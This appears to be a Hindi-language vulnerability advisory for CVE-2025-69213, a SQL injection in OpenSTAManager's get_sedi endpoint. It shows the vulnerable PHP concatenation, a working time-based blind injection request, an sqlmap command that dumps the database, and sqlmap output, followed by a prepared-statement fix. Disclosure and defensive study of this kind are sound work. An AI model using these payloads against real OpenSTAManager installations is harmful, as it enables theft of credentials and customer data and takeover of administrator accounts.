CVE-2025-69213: OpenSTAManager में ajax_complete.php (get_sedi एंडपॉइंट) में SQL इंजेक्शन

अवलोकन

प्रभावित उत्पाद

• devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

• CWE-89: SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निराकरण ('SQL Injection')

विवरण

सारांश

ajax_complete.php एंडपॉइंट में 'get_sedi' ऑपरेशन को संभालते समय एक SQL इंजेक्शन भेद्यता मौजूद है। एक प्रमाणित हमलावर idanagrafica पैरामीटर के माध्यम से दुर्भावनापूर्ण SQL कोड इंजेक्ट कर सकता है, जिससे अनधिकृत डेटाबेस पहुंच हो सकती है।

प्रमाण की अवधारणा

भेद्य कोड

फ़ाइल: modules/anagrafiche/ajax/complete.php:28

case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

डेटा प्रवाह

1. स्रोत: $_GET['idanagrafica'] → get('idanagrafica')
2. भेद्य: उपयोगकर्ता इनपुट को एकल उद्धरणों के साथ सीधे SQL क्वेरी में जोड़ा जाता है
3. सिंक: $dbo->fetchArray($q) दुर्भावनापूर्ण क्वेरी को निष्पादित करता है

शोषण

मैनुअल PoC (समय-आधारित ब्लाइंड SQLi):

GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap शोषण:

sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

SQLMap आउटपुट:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

प्रभाव

• डेटा निष्कर्षण: उपयोगकर्ता क्रेडेंशियल्स, ग्राहक डेटा, वित्तीय रिकॉर्ड सहित पूर्ण डेटाबेस निष्कर्षण
• विशेषाधिकार वृद्धि: व्यवस्थापक पहुंच प्राप्त करने के लिए zz_users तालिका का संशोधन
• डेटा अखंडता: रिकॉर्ड का अनधिकृत संशोधन या विलोपन
• संभावित RCE: यदि फ़ाइल अनुमतियाँ अनुमति देती हैं तो SELECT ... INTO OUTFILE के माध्यम से

प्रभावित संस्करण

• OpenSTAManager: नवीनतम संस्करण में सत्यापित (दिसंबर 2025 तक)
• इस एंडपॉइंट का उपयोग करने वाले सभी संस्करण प्रभावित होने की संभावना है

सुधार

प्रत्यक्ष संयोजन को तैयार कथनों से बदलें:

पहले:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

बाद में:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

संदर्भ

• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• CWE-89: SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निराकरण

श्रेय

द्वारा खोजा गया: Łukasz Rybak

संदर्भ

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
• https://nvd.nist.gov/vuln/detail/CVE-2025-69213
• https://github.com/advisories/GHSA-w995-ff8h-rppg

अस्वीकरण

यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं के अनुसार जिम्मेदारी से प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।